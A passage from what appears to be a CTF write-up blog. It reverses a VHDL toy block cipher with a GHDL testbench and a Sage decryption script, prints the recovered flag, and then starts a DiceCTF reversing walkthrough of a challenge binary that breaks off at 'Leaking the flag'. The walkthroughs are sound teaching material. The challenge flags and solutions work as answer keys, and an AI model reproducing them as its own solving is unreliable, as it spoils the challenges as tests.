    signal ctr_round : natural range 0 to 9;
    signal end_ctr,cmd_ctr : std_logic;
    signal rkey :  std_logic_vector(key_w-1 downto 0);
    signal reg_cipher :  std_logic_vector(d_i'range);
begin
[...]
```

The architecture comprises several processes.

```vhdl
process (clk, resetn) is
    begin
        if resetn = '0' then
            ctr_round <= 0;
        elsif rising_edge(clk) then
            if cmd_ctr = '0' then
                ctr_round <= 0;
            else
                ctr_round <= ctr_round + 1;
            end if;
        end if;
    end process;
end_ctr <= '1' when ctr_round = 9 else '0';
```

This process keeps track of a *round counter* incremented at each clock rising edge. We learn that when the counter reaches 9, the `end_ctr` signal is set to 1. This hints at the algorithm being a block cipher with around 9 rounds. However, with the way VHDL works and how difficult it is to have a clear idea in mind of how logic is sequentially unfolded, I wasn't sure at this point that the number of rounds was *exactly* 9, and not something like 8 or 10.

```vhdl
process (clk, resetn) is
begin
    if resetn = '0' then
        reg_cipher <= (others => '0');
    elsif rising_edge(clk) then
        if d_v_i = '1' and ctr_round = 0 then
            reg_cipher <= d_i;
        else 
            reg_cipher <= round(reg_cipher, rkey);
        end if;
    end if;
end process;
d_c <= reg_cipher;
```

This process performs, at each clock rising edge, a round of encryption. At the beginning (`d_v_i = 1`), the `reg_cipher` signal is loaded with the plaintext (`d_i`). Then, each iteration, the `round` function is called on the `reg_cipher`, with a `rkey` parameter. The `d_c` signal, which is the output of the entity, is linked to the `reg_cipher`, and therefore contains the output ciphertext when all rounds have been computed.

Let's see what is this `rkey` signal:

```vhdl
key_engine : entity work.key_randomize
generic map(key_w => key_w)
port map (
    resetn => resetn,
    clk    => clk,
    load   => d_v_i,
    key    => key,
    key_r  => rkey
);
```

This portion of code maps inputs and outputs for another entity in another file `key_randomize.vhd`. The `rkey`, which we understand means "round key", is an output of this `key_randomize` entity. Let's check it out.

### Key randomization entity

```vhdl
library ieee;
use ieee.std_logic_1164.all;

entity key_randomize is
    generic (key_w : positive := 32);
    port (
	resetn : in std_logic;
    clk    : in std_logic;
    load   : in std_logic;
    key    : in std_logic_vector(1023 downto 0);
    key_r  : out std_logic_vector(key_w-1 downto 0)
  );
end entity;

architecture rtl of key_randomize is
signal reg : std_logic_vector(key'range);
begin
    process (clk,resetn) is
    begin
        if resetn = '0' then
            reg  <= (others => '1');
        elsif rising_edge(clk) then
            if load = '1' then
                reg <= key;
            else
                reg      <= reg(reg'length-2 downto 0) & reg(reg'high);
                reg(24)  <= reg(23) xor reg(reg'high);
                reg(421) <= reg(420) xor reg(reg'high);
                reg(476) <= reg(475) xor reg(reg'high);
                reg(545) <= reg(544) xor reg(reg'high);
                reg(923) <= reg(922) xor reg(reg'high);
            end if;
        end if;
    end process;
    key_r <= reg(key_r'range);
end architecture;
```

At first, when `load = 1` (`d_v_i = 1`), the key is loaded in the `reg` register, which acts as an internal state for a round key derivation function. At each clock rising edge, this internal state is updated by rotating it 1 bit to the left and flipping a few specific bits.

The output round key (`key_r`) is then a *projection* of the internal state, `key_w` being 576 bits. Therefore, even though the key is 1024 bits, the round keys are always 576 bits (least significant bits of the internal state).

### Core cryptographic entity

Let's now focus on the core part of the algorithm: the `round` function in `cubik_pkg.vhd`.

```vhdl
function round(data : std_logic_vector(data_width-1 downto 0) ;  key : std_logic_vector(575 downto 0)) return std_logic_vector is
    variable tmp : cubix;
    variable data_out : std_logic_vector(data'range);
begin
    tmp := slv2cubix(data);
    tmp := mixcubix(tmp, (m_0,m_1,m_2,m_3));
    tmp := roundcubix(tmp, key);
    tmp := swap_rows(tmp);
    data_out := cubix2slv(tmp);
    return data_out;
end round;
```

In order to perform calculations, the input data vector is converted (`slv2cubix`) to another representation, called **cubix**, and converted back to normal at the end (`cubix2slv`).

A **cubix** is composed of four $$4 \times 4$$ matrices which coefficients are **9-bit** integers, which I will call *nonets*. Indeed, even though the data vectors are 72 bytes long, 576 bits is divisible by 9, which gives **64 nonets**. These nonets are split in 4 groups of 16 nonets, each group populating a square matrix.

Denoting $$(m\_0, \ldots, m\_{63})$$ the input nonets, the cubix is therefore:

$$\begin{bmatrix}d\_{63} & d\_{62} & d\_{61} & d\_{60} \ d\_{59} & d\_{58} & d\_{57} & d\_{56} \ d\_{55} & d\_{54} & d\_{53} & d\_{52} \ d\_{51} & d\_{50} & d\_{49} & d\_{48}\end{bmatrix} : \ldots : \begin{bmatrix} d\_{15} & d\_{14} & d\_{13} & d\_{12} \ d\_{11} & d\_{10} & d\_{9} & d\_{8} \ d\_{7} & d\_{6} & d\_{5} & d\_{4} \ d\_{3} & d\_{2} & d\_{1} & d\_{0} \end{bmatrix}$$

Then, the actual encryption part is carried through three different steps.

**Mix cubix.** This step uses four constant matrices $$m\_0, m\_1, m\_2, m\_3$$, defined as follows.

$$\begin{bmatrix} 3 & 0 & 2 & 6 \ 6 & 3 & 0 & 2 \ 2 & 6 & 3 & 0 \ 0 & 2 & 6 & 3 \end{bmatrix}, \begin{bmatrix} 6 & 4 & 3 & 0 \ 0 & 6 & 4 & 3 \ 3 & 0 & 6 & 4 \ 4 & 3 & 0 & 6 \end{bmatrix}, \begin{bmatrix} 4 & 0 & 9 & 3 \ 3 & 4 & 0 & 9 \ 9 & 3 & 4 & 0 \ 0 & 9 & 3 & 4 \end{bmatrix}, \begin{bmatrix} 2 & 4 & 0 & 9 \ 9 & 2 & 4 & 0 \ 0 & 9 & 2 & 4 \ 4 & 0 & 9 & 2 \end{bmatrix}$$

```vhdl
function mixcubix(c : cubix;  mt : matrix_t) return cubix is
    variable tmp : cubix;
begin
    for k in cubix'range loop
        tmp(k) := mixmatrix(c(k),shiftmt(mt,k)); 
    end loop;
    return tmp;
end mixcubix;
```

Each matrix in the cubix is mixed using 4 matrices. More especially, if $$(C\_0, C\_1, C\_2, C\_3)$$ is the cubix:

$$C\_0 = \text{mixmatrix}(C\_0, (m\_0, m\_1, m\_2, m\_3)) \ C\_1 = \text{mixmatrix}(C\_1, (m\_1, m\_2, m\_3, m\_0)) \ C\_2 = \text{mixmatrix}(C\_2, (m\_2, m\_3, m\_0, m\_1)) \ C\_3 = \text{mixmatrix}(C\_3, (m\_3, m\_0, m\_1, m\_2))$$

As for the `mixmatrix` function, it basically multiplies each row of the input matrix with the $$m\_i$$ matrices:

$$\text{mixmatrix}(C, (m\_0, m\_1, m\_2, m\_3)) = \begin{bmatrix} C^{(0)} m\_0 \ C^{(1)} m\_1 \ C^{(2)} m\_2 \ C^{(3)} m\_3 \end{bmatrix}$$

```vhdl
function mixrow(r : row; m : matrix_c) return row is
    variable tmp : row;
begin
    for i in row'range loop
        tmp(i) := times(m(i,0),r(0)) xor times(m(i,1),r(1)) xor times(m(i,2),r(2)) xor times(m(i,3),r(3));
    end loop;
    return tmp;
end mixrow;

function mixmatrix(m : matrix; mt : matrix_t) return matrix is
    variable tmp : matrix;
begin
    for j in matrix'range loop
        tmp(j) := mixrow(m(j),mt(j)); 
    end loop;
    return tmp;
end mixmatrix;
```

However, the multiplications are carried out in a specific mathematical space. The function `times` implements a *double-and-add* algorithm.

```vhdl
function times2(n : nonaire) return nonaire is
    variable tmp :nonaire;
begin
    tmp := n(7 downto 4) & (n(3) xor n(8)) & n(2 downto 0) & n(8);
    return tmp;
end times2;   

function times(n1: nonaire; n2: nonaire) return nonaire is
    variable tmp : nonaire;
begin
    tmp := (others => '0');
    for i in n1'range loop
        if n1(i) = '1' then
            tmp := tmp xor n2;
        end if;
        if i > 0 then
            tmp := times2(tmp);
        end if;
    end loop;
    return tmp;
end times;
```

If the *add* operation is merely a XOR, the *double* operation is more intricate. A comment at the beginning of the file gives out a big hint:

```vhdl
-- Primitive polynomial = D^9+D^4+1  -- GF(512)
```

Operations are actually carried out in a [Galois Field](https://en.wikipedia.org/wiki/Finite_field), $$\text{GF}(512)$$, with the primitive polynomial $$D^9 + D^4 + 1$$. Roughly, this means a nonet can be seen as a polynomial modulo $$D^9 + D^4 + 1$$ (so max degree 8), whose coefficients are in $$\mathbb{Z}/2\mathbb{Z}$$ (so each coefficient is a bit of the nonet).

Matrices can be defined over this space since it is a field, and thus operations such as addition, multiplication, inverse... exist as well.

**Round cubix.** This second step is easier to understand. It simply performs a bitwise XOR between `tmp` and the round key:

```vhdl
function roundrow(r : row;  key : std_logic_vector(35 downto 0)) return row is
    variable tmp : row;
begin
    for i in row'range loop
        tmp(i) := r(i) xor key(9*(i+1)-1 downto 9*i); 
    end loop;
    return tmp;
end roundrow;

function roundmatrix(m : matrix;  key : std_logic_vector(143 downto 0)) return matrix is
    variable tmp : matrix;
begin
    for j in matrix'range loop
        tmp(j) := roundrow(m(j),key(36*(j+1)-1 downto 36*j)); 
    end loop;
    return tmp;
end roundmatrix;

function roundcubix(c : cubix;  key : std_logic_vector(575 downto 0)) return cubix is
    variable tmp : cubix;
begin
    for k in cubix'range loop
        tmp(k) := roundmatrix(c(k),key(144*(k+1)-1 downto 144*k)); 
    end loop;
    return tmp;
end roundcubix;
```

**Swap rows.** The final step is also quite simple — it only permutes the coefficients of the matrix a certain way:

```vhdl
function swap_rows (c: cubix) return cubix is
    variable tmp :cubix;
begin
    tmp (0)(0) := c(1)(1);
    tmp (0)(1) := c(3)(3);
    tmp (0)(2) := c(2)(2);
    tmp (0)(3) := c(2)(1);
    tmp (1)(0) := c(3)(1);
    tmp (1)(1) := c(2)(0);
    tmp (1)(2) := c(0)(1);
    tmp (1)(3) := c(1)(2);
    tmp (2)(0) := c(1)(0);
    tmp (2)(1) := c(0)(3);
    tmp (2)(2) := c(2)(3);
    tmp (2)(3) := c(3)(0);
    tmp (3)(0) := c(3)(2);
    tmp (3)(1) := c(0)(0);
    tmp (3)(2) := c(1)(3);
    tmp (3)(3) := c(0)(2);
    return tmp;
end swap_rows; 
```

We should have everything needed to implement the *encryption* algorithm. As for the Galois Field part, SageMath makes it easy.

But obviously, it didn't work at first try. As I presented it here, the algorithm seems rather unambiguous, but when you are in the process of reversing it, there are a lot of elements for which you have uncertainties. Indeed, many issues could happen at different levels:

* Actual bugs in my Python code
* Misunderstanding of the VHDL algorithm
  * Uncertainty about the number of rounds
  * Uncertainty about endianness at many steps
  * Uncertainty about indices
  * Is the key randomization function applied before or after the round function?
  * Did I understand the key randomization function properly? (especially with the fact that in VHDL, signals are updated at the end of a process)
  * Do the `times` and `times2` functions even do what I think they do?
  * Is my mathematical interpretation correct?
  * Is my translation to Sage correct?
  * ...

With so many doubts, it felt mandatory to run the original VHDL sources with the test vector and observe the state of the signals at each iteration, in order to debug my code.

## Creating a testbench for debugging

I read some documentation and wrote a testbench to interact with the `cubik_cipher` component:

```vhdl
library ieee;
use ieee.std_logic_1164.all;

use work.cubik_pkg.all;

entity testbench is
end testbench;

architecture behavior of testbench is
    component cubik_cipher is
        port (
          resetn : in  std_logic;
          clk    : in  std_logic;
      -- key
          key    : in std_logic_vector(1023 downto 0);
      -- d in
          d_v_i  : in  std_logic;
          d_i    : in  std_logic_vector(data_width-1 downto 0);
      -- dout
          d_c    : out std_logic_vector(data_width-1 downto 0);
          d_v_c  : out  std_logic
        );
    end component;
    signal resetn : std_logic := '0';
    signal input  : std_logic_vector(data_width-1 downto 0);
    signal output : std_logic_vector(data_width-1 downto 0);
    signal inputkey : std_logic_vector(1023 downto 0);
    signal d_v_i : std_logic := '0';
    signal d_v_c : std_logic := '0';
    signal clk : std_logic := '0';
    constant clk_period : time := 1 ns;
begin
    uut: cubik_cipher port map (
        resetn => resetn,
        clk => clk,
        key => inputkey,
        d_v_i => d_v_i,
        d_i => input,
        d_c => output,
        d_v_c => d_v_c
    );

    clk_process : process
    begin
        clk <= '0';
        wait for clk_period;
        clk <= '1';
        wait for clk_period;
    end process;

    stim_process: process
    begin
        wait for 1 ns;
        resetn <= '1';
        inputkey <= "1110011000110111111001110001010001111011001010010001000111011010011110101000000100100010011010011111001001001101101001001011101010000101001110101000110100000111000010000111101011101110101010000100110101101100010100001110001010010001010011110010111110001010110111001110101001100111001011101011111001000101110111101000111001000101100011111100111011011001101000001101101101110101010110011110101110000011101100110101010010001101110010010001101010100110000100101100110110110110000001100010111011011101011011001001101011001001100100111110110101100000011111100011111111000011100011000110111000100111110010000001110011010101011001100110101101101110101000010100011111000100011000001111001111000100011001010110010111011110100010010000010111101011110010010110010010110110100000110100001100001111110111001011000101010001111011000011110011110010000100100111010001000101101101010110111111010000000001111001110000010110000101000110011101111010100001100110111100010111100110001001110000000010000111001100010110110101001110111001011111001010";
        input <= "010010000100000101000011010010110100010001000001010110010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000";
        d_v_i <= '1';
        wait for 1 ns;
        d_v_i <= '0';
        wait for 11 ns;
    end process;
end;
```

In order to simulate the circuit, I used [GHDL](https://github.com/ghdl/ghdl), an open-source compiler and simulator for VHDL.

I ran the simulation with `ghdl -r testbench --vcd=out.vcd --stop-time=50ns`. This generated a trace file in the VCD format, which I viewed with [GTKWave](http://gtkwave.sourceforge.net/). Here is what it looks like:

![First, the key and the plaintext are loaded. The first round key is the 576 least significant bits of the key.](/files/nHorRmdGhJRvfboXMq2t)

![Next, the first round has been performed, and the next round key has been computed.](/files/4ZUUEMWPZCADTivGHkU9)

Thanks to this, I was able to determine that there were indeed 9 rounds and that the key started to be randomized *after* the first round. I could also debug my script step by step and compare my values to the signals, to locate where I made mistakes.

This allowed to have a working implementation of the encryption algorithm.

## Implementing decryption

The only thing that remained was to implement decryption. This should not be too hard — we only need to generate the round keys and follow the reverse steps for the rounds.

The **swap rows** and **round cubix** steps are trivial to invert (inverse permutation, and XOR the round key). As for the **mix cubix** step, its inverse it is actually the same operation, but with the **inverse matrices** for $$m\_i$$ (which is also trivial to do thanks to Sage).

### Solution script

Here is the full script that implements encryption and decryption in Python and Sage.

```python
F.<D> = GF(2)[]
K.<x> = GF(512, name='x', modulus=D^9+D^4+1)

m0_ = [[3,0,2,6],[6,3,0,2],[2,6,3,0],[0,2,6,3]]
m1_ = [[6,4,3,0],[0,6,4,3],[3,0,6,4],[4,3,0,6]]
m2_ = [[4,0,9,3],[3,4,0,9],[9,3,4,0],[0,9,3,4]]
m3_ = [[2,4,0,9],[9,2,4,0],[0,9,2,4],[4,0,9,2]]

def swap_rows(c):
    tmp = [[0] * 4 for i in range(4)]
    tmp[0][0], tmp[0][1], tmp[0][2], tmp[0][3] = c[1][1], c[3][3], c[2][2], c[2][1]
    tmp[1][0], tmp[1][1], tmp[1][2], tmp[1][3] = c[3][1], c[2][0], c[0][1], c[1][2]
    tmp[2][0], tmp[2][1], tmp[2][2], tmp[2][3] = c[1][0], c[0][3], c[2][3], c[3][0]
    tmp[3][0], tmp[3][1], tmp[3][2], tmp[3][3] = c[3][2], c[0][0], c[1][3], c[0][2]
    return tmp

def inv_swap_rows(c):
    tmp = [[0] * 4 for i in range(4)]
    tmp[1][1], tmp[3][3], tmp[2][2], tmp[2][1] = c[0][0], c[0][1], c[0][2], c[0][3]
    tmp[3][1], tmp[2][0], tmp[0][1], tmp[1][2] = c[1][0], c[1][1], c[1][2], c[1][3]
    tmp[1][0], tmp[0][3], tmp[2][3], tmp[3][0] = c[2][0], c[2][1], c[2][2], c[2][3]
    tmp[3][2], tmp[0][0], tmp[1][3], tmp[0][2] = c[3][0], c[3][1], c[3][2], c[3][3]
    return tmp

def decimal2bin(d):
    return [int(_) for _ in f"{d:09b}"]

def bin2nonet(d):
    return K(d[::-1])

def nonet2bin(N):
    L = N.polynomial().list()
    while len(L) != 9:
        L.append(0)
    return L[::-1]

m0 = [[bin2nonet(decimal2bin(m0_[j][i])) for i in range(4)] for j in range(4)]
m1 = [[bin2nonet(decimal2bin(m1_[j][i])) for i in range(4)] for j in range(4)]
m2 = [[bin2nonet(decimal2bin(m2_[j][i])) for i in range(4)] for j in range(4)]
m3 = [[bin2nonet(decimal2bin(m3_[j][i])) for i in range(4)] for j in range(4)]

def slv2row(data):
    return [bin2nonet(data[9 * i:9 * (i + 1)]) for i in range(3, -1, -1)]

def slv2matrix(data):
    return [slv2row(data[36 * j:36 * (j + 1)]) for j in range(3, -1, -1)]

def slv2cubix(data):
    return [slv2matrix(data[144 * k:144 * (k + 1)]) for k in range(3, -1, -1)]

def row2slv(r):
    tmp = []
    for i in range(4):
        tmp = nonet2bin(r[i]) + tmp
    return tmp

def matrix2slv(m):
    tmp = []
    for j in range(4):
        tmp = row2slv(m[j]) + tmp
    return tmp

def cubix2slv(c):
    tmp = []
    for k in range(4):
        tmp = matrix2slv(c[k]) + tmp
    return tmp

def mixrow(r, m):
    return [
        (m[i][0] * r[0]) + (m[i][1] * r[1]) + (m[i][2] * r[2]) + (m[i][3] * r[3])
        for i in range(4)
    ]

def inv_mixrow(r, m):
    m_ = matrix(K, m)^(-1)
    return [
        (m_[i][0] * r[0]) + (m_[i][1] * r[1]) + (m_[i][2] * r[2]) + (m_[i][3] * r[3])
        for i in range(4)
    ]

def shiftmt(mt, p):
    return [mt[(l + p) % 4] for l in range(4)]

def mixmatrix(m, mt):
    return [mixrow(m[j], mt[j]) for j in range(4)]

def inv_mixmatrix(m, mt):
    return [inv_mixrow(m[j], mt[j]) for j in range(4)]

def mixcubix(c, mt):
    return [mixmatrix(c[k], shiftmt(mt, k)) for k in range(4)]

def inv_mixcubix(c, mt):
    return [inv_mixmatrix(c[k], shiftmt(mt, k)) for k in range(4)]

def roundrow(r, rsubsubkey):
    return [r[3 - i] + bin2nonet(rsubsubkey[9 * i:9 * (i + 1)]) for i in range(3, -1, -1)]

def roundmatrix(m, rsubkey):
    return [roundrow(m[3 - j], rsubkey[36 * j:36 * (j + 1)]) for j in range(3, -1, -1)]

def roundcubix(c, rkey):
    return [roundmatrix(c[3 - k], rkey[144 * k:144 * (k + 1)]) for k in range(3, -1, -1)]

def inv_roundcubix(c, rkey):
    return roundcubix(c, rkey)

def round(bits, rkey):
    tmp = slv2cubix(bits)
    tmp = mixcubix(tmp, (m0, m1, m2, m3))
    tmp = roundcubix(tmp, rkey)
    tmp = swap_rows(tmp)
    tmp = cubix2slv(tmp)
    return tmp

def inv_round(bits, rkey):
    tmp = slv2cubix(bits)
    tmp = inv_swap_rows(tmp)
    tmp = inv_roundcubix(tmp, rkey)
    tmp = inv_mixcubix(tmp, (m0, m1, m2, m3))
    tmp = cubix2slv(tmp)
    return tmp

def key_randomize(k):
    k_ = k[1:] + [k[0]]
    k_[-24-1] = k[-23-1] ^^ k[0]
    k_[-421-1] = k[-420-1] ^^ k[0]
    k_[-476-1] = k[-475-1] ^^ k[0]
    k_[-545-1] = k[-544-1] ^^ k[0]
    k_[-923-1] = k[-922-1] ^^ k[0]
    return k_

def print_bin(B):
    print("".join(str(_) for _ in B))

def encrypt(bits, key):
    for k in range(1, 10):
        bits = round(bits, key[-576:])
        key = key_randomize(key)
    return bits

def decrypt(bits, key):
    round_keys = [key]

    for k in range(1, 9):
        key = key_randomize(key)
        round_keys.append(key)
    
    for k in range(1, 10):
        bits = inv_round(bits, round_keys[9 - k][-576:])

    return bits


test_vector = list(int(_) for _ in "010010000100000101000011010010110100010001000001010110010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000")
test_vector_key = list(int(_) for _ in "1110011000110111111001110001010001111011001010010001000111011010011110101000000100100010011010011111001001001101101001001011101010000101001110101000110100000111000010000111101011101110101010000100110101101100010100001110001010010001010011110010111110001010110111001110101001100111001011101011111001000101110111101000111001000101100011111100111011011001101000001101101101110101010110011110101110000011101100110101010010001101110010010001101010100110000100101100110110110110000001100010111011011101011011001001101011001001100100111110110101100000011111100011111111000011100011000110111000100111110010000001110011010101011001100110101101101110101000010100011111000100011000001111001111000100011001010110010111011110100010010000010111101011110010010110010010110110100000110100001100001111110111001011000101010001111011000011110011110010000100100111010001000101101101010110111111010000000001111001110000010110000101000110011101111010100001100110111100010111100110001001110000000010000111001100010110110101001110111001011111001010")
test_vector_c = list(int(_) for _ in "000001100101101010011101000001000001111010100000101010111011011010100011100001110110010010111010001111011100101101101011000100111110111111100011111111000110011111011111001001001001101111111111000101001001101010001110111111101010000010011000010011010101001010101100001010010101010000000011000100000011000000100011010100110111000110011000101011111101111000001100011001001101011110101100010111010010001111110010111100100101101111101001010000011100000110101010100000010100100111101001111111000001011101001001100101011101010010010001111100010101000011100101000110001010111100100110")

assert test_vector_c == cubix2slv(slv2cubix(test_vector_c))

assert encrypt(test_vector, test_vector_key) == test_vector_c
assert decrypt(test_vector_c, test_vector_key) == test_vector

flag = list(int(_) for _ in "011110011110111011101111010110010110101110010110000011000100001000100110001011011111110100011101000010100010110110110010000110001111101000111100011100011100011010000001100101100011111100001100110000111000100111010011111100001111010100100011010011001000000000100011110010100111100111010011000101010001100001101010111101010101011000100001001010001001111110010010101011010110110110011011011001010111110110011001100111100000011101001100100001001110000100111011111111011010111011011100100101001010001110111010010011111100101110010101101101000000000100111011111111000100000011100101")
key = list(int(_) for _ in "1111000010101110001011100001101010111110111010001010111110111110001111101010010000100100110011000111000111110100110011100001011101000101010110100010000111010101110111110001010111001100010011110110001101100010111000111010111100001001010111001111101101101101101001110001100010001010100101110111011111000010110010000111010110101011001110010001010001011010100010001010001000010100001010101110101001111011010101000001000101100000011100010001000011010111000011001101001111010011011111000010000011110010010110011011000110010010000000000011000110011001000001110000100111011000111000001110100011010110011000011011000110100000010111111110100010110101011100011001101010101011011001010110100110000011010110110011111001010010101111100111001110001001100000100110000010001111110110100011011001010100100111111101000111100011001110011000110001110010010100011001000000110101011011111011111010010111100110011000101101111001111110000100111100001110111100100011110001001101111010100110001110001001100010110101001000110001100110100100011110100010")

print_bin(decrypt(flag, key))
```

We can then decrypt the flag!

```
╭─face@0xff ~/ctf/hackday/cubik/cubikcipher                                                             
╰─$ sage implem.sage                                                                                    
01001000010000010100001101001011010001000100000101011001011110110011100100111001011000100011011001100010
00110110011001000011001001100011001100000011001100110111011000010011011000110101011001000011010100110000
00111001011000110011010000110000001100010110001100110111011001000011001001100110001101010011000000110101
00110010001110010011000100110100011001010011000001100001001101000110010100110011001101000011001000110000
00110110001100100011011101100100001100100011001101100100001100000110001000111001001101100011100101100100
01100001011001100011000101100100011001100011001101111101
```

`HACKDAY{99b6b6d2c037a65d509c401c7d2f5052914e0a4e3420627d23d0b969daf1df3}`

### Bonus remark

It appears that the cipher is linear (or at least affine). Indeed, each round and each step is linear in the plaintext and the key. This means that for a given key, the entire encryption can be seen as a single linear map, and thus very easily reversed for an attacker that doesn't know the key but knows enough plaintext/ciphertext couples.

This is why in such block ciphers, it is crucial to have a non-linear operation inside rounds. For instance, in AES, if you remove the S-BOX operation (sub bytes), the entire cipher becomes linear and easily broken if you have access to an encryption oracle, by encrypting a basis to determine the underlying linear map uniquely.


# DiceCTF 2022

February 4 - February 6

I participated with **SHRECS** and got 20th place.


# cable management

*cable management* was a reverse challenge from DiceCTF 2022 that was released midway through the CTF, with 7 solves.

Since I got first blood in around an hour (whereas other teams started flagging it only 12 hours after release), I thought it would be interesting to share how I approached the problem.

**Description:** *Help me manage my cables! Note: Flag may take a while to verify.*

## First glance

We are given a 5 MB 64-bit ELF `chall` that asks for user input.

```
╭─face@0xff ~/ctf/dice/cable 
╰─$ ./chall
test 
aaaaaaaaaaaaaaaaaaaaaaaaaaa
:(
```

It doesn't directly answer back if we send it a small string: instead, it waits for enough characters. This way, we can already retrieve the flag length, which is 29.

We can also notice if we send 29 bytes at once it takes a long time to process, but if we send it in two parts it takes less time to process the second part. This may suggest the flag is checked progressively (for example one byte at a time), and not all at once.

Finally, one can notice sending "dice{aaaaaaaaaaaaaaaaaaaaaaaa" takes roughly 2 seconds more than sending "aaaaaaaaaaaaaaaaaaaaaaaaaaaaa". At this point a timing attack may work out (although possibly very slow), but at the time of the CTF I didn't think of it and directly started reversing.

## Reversing (but not too much)

Let's load the binary in IDA. The main function is quite straightforward:

```c
__int64 __fastcall main(int argc, char **argv, char **envp) {
  __int64 v4[3]; // [rsp+0h] [rbp-18h] BYREF

  v4[1] = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 1, 0x2000uLL);
  v4[0] = (__int64)read_one_bit;
  if ( (unsigned int)f1(v4) == 1 )
    puts(":)");
  else
    puts(":(");
  return 0LL;
}
```

The function I renamed `read_one_bit` is passed as an argument to another function, `f1`, which has to return 1 in order to output the success message.

`read_one_bit` is self-explanatory: it reads one bit of the user input. More precisely, it reads a byte from `stdin` with `getc` every 8 calls, stores its bits in `.data` variables. Therefore, each call, it returns a new bit from the user input.

The main logic of the binary lies inside the `f1` function (0x1540). IDA refuses to decompile it because the stack frame is huge (0x5269a0 bytes).

```
.text:00001540     push    r14
.text:00001542     lea     r14, map
.text:00001549     mov     edx, offset unk_526990 ; n
.text:0000154E     push    r13
.text:00001550     mov     rsi, r14        ; src
.text:00001553     mov     r13, rdi
.text:00001556     push    r12
.text:00001558     push    rbp
.text:00001559     push    rbx
.text:0000155A     sub     rsp, 5269A0h
.text:00001561     mov     rax, fs:28h
.text:0000156A     mov     [rsp+5269C8h+var_30], rax
.text:00001572     xor     eax, eax
.text:00001574     mov     r12, rsp
.text:00001577     mov     rdi, r12        ; dest
.text:0000157A     call    _memcpy
```

The first thing this function does is calling `memcpy` to copy a certain buffer (0x4058, here renamed `map`) from `.data` to the stack frame. Its length (`rdx` argument) is 0x526990 = 5400976 bytes, so pretty huge: actually, it takes up almost 99% of the binary's size. We can then observe the function seems to loop on this map and perform different actions depending on the read value.

Skimming through it shows `map` mostly comprises bytes such as 0x00 and 0xCD. At this moment, I went to check out other functions inside the binary, and stumbled upon the function at 0x1390.

```c
bool __fastcall sub_1390(int idx, __int64 map) {
  unsigned int y; // eax
  unsigned int x; // edx
  unsigned int right_cell; // ebx
  int sum; // ecx
  unsigned int bottom_cell; // edi
  unsigned int left_cell; // ebp
  unsigned int top_cell; // eax

  y = idx / 2324;
  x = idx % 2324;
  right_cell = idx % 2324 + 1;
  if ( (unsigned int)(idx / 2324) > 0x913 || right_cell > 0x913 )
    sum = 0;
  else
    sum = *(_BYTE *)(map + (int)(right_cell + 2324 * y)) == 0xEC;// right cell
  bottom_cell = y + 1;
  if ( right_cell <= 0x913 && bottom_cell <= 0x913 )
    sum += *(_BYTE *)(map + (int)(right_cell + 2324 * bottom_cell)) == 0xEC;// bottom right cell
  if ( bottom_cell <= 0x913 && x <= 0x913 )
    sum += *(_BYTE *)(map + (int)(x + 2324 * bottom_cell)) == 0xEC;// bottom cell
  left_cell = x - 1;
  if ( bottom_cell <= 0x913 && left_cell <= 0x913 )
    sum += *(_BYTE *)(map + (int)(left_cell + 2324 * bottom_cell)) == 0xEC;// bottom left cell
  if ( y <= 0x913 && left_cell <= 0x913 )
    sum += *(_BYTE *)(map + (int)(left_cell + 2324 * y)) == 0xEC;// left cell
  top_cell = y - 1;
  if ( left_cell <= 0x913 && top_cell <= 0x913 )
    sum += *(_BYTE *)(map + (int)(left_cell + 2324 * top_cell)) == 0xEC;// top left cell
  if ( x <= 0x913 && top_cell <= 0x913 )
    sum += *(_BYTE *)(map + (int)(2324 * top_cell + x)) == 0xEC;// top cell
  if ( right_cell <= 0x913 && top_cell <= 0x913 )
    sum += *(_BYTE *)(map + (int)(right_cell + 2324 * top_cell)) == 0xEC;// top right cell
  return (unsigned int)(sum - 1) <= 1;
}
```

Since it performs integer division by 2324, it makes sense to view the variables I renamed `x` and `y` as coordinates. Furthermore, we can try dumping and visualizing the map as a 2324-bytes-wide image:

![Portion of the dumped map](/files/RX0xG5ftUnFQYGNhHq5H)

Looks nice... what could it mean? Let's zoom in on a pattern.

![Recurring pattern](/files/2mruxa7xXyi8vMAPWgBA)

The map mostly consists of 232 of these patterns horizontally glued next to each other. Here is the same pattern in hexadecimal, where I removed null bytes for clarity.

```
               CD 11 CD               
            CD          CD            
            CD          CD            
CD CD CD    CD          CD    CD CD CD
CD    CD CD       EC       CD CD    CD
CD    CD          CD CD       CD    CD
CD CD CD                CD    CD CD CD
   CD             CD CD          CD   
      CD       CD                   CD
CD    CD    CD          CD CD CD    CD
CD CD       CD    CD CD CD    CD CD   
CD       CD       CD    CD    CD      
CD          CD CD       CD CD CD      
                           CD         
CD                      CD CD CD      
CD                      CD    CD      
                           CD         
CD    CD CD                   CD    CD
   CD    CD CD CD CD CD CD CD    CD   
      CD CD                         CD
```

We notice two things:

* Some patterns have an 0xEC byte on the fifth line, some don't and have a 0xCD instead. This may be important data in flag verification.
* All the patterns have an 0x11 byte at the top center.

Let's come back on the `f1` function to see how this 0x11 byte is handled.

```
.text:00001590                 cmp     al, 11h
.text:00001592                 jz      handle_11
[...]
.text:00001640 handle_11:                              ; CODE XREF: f1+52↑j
.text:00001640                 xor     eax, eax
.text:00001642                 call    qword ptr [r13+0]
.text:00001646                 test    al, al
```

It calls the function pointed by `r13`, which is the function pointer argument passed by main (`read_one_bit`). Therefore, for each of these patterns in the map, one bit of the user input is read. This confirms that the flag is indeed 232 / 8 = 29 bytes long.

At this point, what I did is extract the data formed by the 0xEC and 0xCD bytes in each pattern.

```
1010110010111011101001011010111110001101100110010101000010
0101101011010010101100111000011011000110101010111000011001
1001010100111001011010101111100101011110000101010000010101
0101010110010010110101110001001000010100000101010110000110
```

I tried some wild guessing to find out how it could relate to the flag, but could not find anything meaningful. Instead, I went for a different approach.

## Leaking the flag

